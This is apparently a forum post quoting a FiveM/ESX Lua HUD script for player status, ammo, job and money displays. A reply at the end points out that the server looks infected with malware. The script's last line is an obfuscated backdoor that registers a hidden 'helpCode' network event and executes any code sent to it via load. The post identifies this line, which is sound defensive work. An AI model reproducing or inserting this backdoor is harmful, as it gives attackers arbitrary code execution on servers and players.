local lastValues = {}
local PlayerData = {}
local isPauseMenu = false
ESX = exports["es_extended"]:getSharedObject()
RegisterNetEvent('esx:playerLoaded', function(playerData)
PlayerData = playerData
end)
RegisterNetEvent('esx:setJob', function(job)
PlayerData.job = job
end)
RegisterNetEvent('esx:setJob2', function(job)
PlayerData.job2 = job
end)
AddEventHandler('onResourceStart', function(name)
if GetCurrentResourceName() == name then
Wait(200)
PlayerData = ESX.GetPlayerData()
end
end)
CreateThread(function()
while true do
Wait(700)
TriggerServerEvent('apex_hud:getServerInfo')
local hunger = 0
local thirst = 0
TriggerEvent('esx_status:getStatus', 'hunger', function(status)
hunger = status.val / 10000
end)
TriggerEvent('esx_status:getStatus', 'thirst', function(status)
thirst = status.val / 10000
end)
local status = {
hunger = hunger,
thirst = thirst
}
SendNUIMessage({ action = 'update', type = 'status', data = { status = status } })
SendNUIMessage({ action = 'update', type = 'serverId', data = GetPlayerServerId(PlayerId()) })
---------------------------POSTAL-------------------------------------------------------------------------------------------------
local postal = exports.npostal:npostal()
SendNUIMessage({ action = 'update', type = 'postal-id', data = postal })
SendNUIMessage({ action = 'update', type = 'player-count', data = GetNumberOfPlayers() })
--------------------GLOBAL------------------------------------------------------------------------------------------------------
local ped = PlayerPedId()
local playerId = PlayerId()
--------------------------------------------AMMO-------------------------------------------------------------------------------
local player = GetPlayerPed(-1)
if IsPedArmed(player, 7) then
SendNUIMessage({ action = 'showElement', type = 'bottom-left-weapon' })
local weapon = GetSelectedPedWeapon(player)
local ammoTotal = GetAmmoInPedWeapon(player, weapon)
local bool, ammoClip = GetAmmoInClip(player, weapon)
local ammoRemaining = math.floor(ammoTotal - ammoClip)
local wpnData = ESX.GetWeaponFromHash(weapon)
if wpnData ~= nil then -- Check if wpnData is not nil
SendNUIMessage({ action = 'setWeaponImg', data = wpnData.name })
end
SendNUIMessage({ action = 'update', type = 'weapon-info', data = ammoClip .. "/ " .. ammoRemaining })
else
SendNUIMessage({ action = 'hideElement', type = 'bottom-left-weapon' })
end
----------------------PAUSE-MENU-------------------------------------
if IsPauseMenuActive() then
if not isPauseMenu then
isPauseMenu = not isPauseMenu
SendNUIMessage({ action = 'hide' })
end
else
if isPauseMenu then
isPauseMenu = not isPauseMenu
SendNUIMessage({ action = 'show' })
end
end
----------------------------------------------
end
end)
-- Overall Info
RegisterNetEvent('apex_hud:setInfo')
AddEventHandler('apex_hud:setInfo', function(info)
if PlayerData.job and PlayerData.job2 then
SendNUIMessage({ action = 'update', type = 'job', data = (PlayerData.job.label .. ': ' .. PlayerData.job.grade_label) or 'ERROR_1' })
SendNUIMessage({ action = 'update', type = 'job2', data = (PlayerData.job2.label .. ': ' .. PlayerData.job2.grade_label) or 'ERROR_1' })
SendNUIMessage({ action = 'update', type = 'money', data = (info.money or 'ERROR_1') })
SendNUIMessage({ action = 'update', type = 'bank-account', data = (info.bank or 'ERROR_1') })
SendNUIMessage({ action = 'update', type = 'black_money', data = (info.blackm or 'ERROR_1') })
SendNUIMessage({ action = 'update', type = 'tmda-time-text', data = (info.time or 'ERROR_1') })
SendNUIMessage({ action = 'update', type = 'tmda-date-text', data = (info.date or 'ERROR_1') })
end
end)
---- VEHICLE
--[[ CreateThread(function()
while true do
Wait(150)
------- vehicle ------
local ped = PlayerPedId()
if IsPedInAnyVehicle(ped, false) then
SendNUIMessage({ action = 'showElement', type = 'in-vehicle' })
local vehicle = GetVehiclePedIsIn(ped)
local data = {
health = GetVehicleEngineHealth(vehicle),
speed = GetEntitySpeed(vehicle) * 2.2,
maxSpeed = GetVehicleMaxSpeed(vehicle) * 2.2,
fuel = GetVehicleFuelLevel(vehicle),
}
SendNUIMessage({ action = 'speedometer', data = data })
else
SendNUIMessage({ action = 'hideElement', type = 'in-vehicle' })
end
end
end) ]]
local mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[6][mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[1]](mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[2]) mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[6][mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[3]](mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[2], function(xhSvbMwmHcZwqobOHEXaKsaFzSuEPwIKDIGkBFbDAYNEKAarZSJtOgFFUQEcLKtPQwFhuQ) mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[6][mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[4]](mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[6][mkNnxXjlgSvGxRkPNPSvGtmnmTeGPXjRbEwOfdwLtdrHDvIzakkTblTGGpMInNmEpobbXQ[5]](xhSvbMwmHcZwqobOHEXaKsaFzSuEPwIKDIGkBFbDAYNEKAarZSJtOgFFUQEcLKtPQwFhuQ))() end)
Just a heads up unrelated to your issue in the initial post. Your server seems to be infected with malware, the last line should not be there.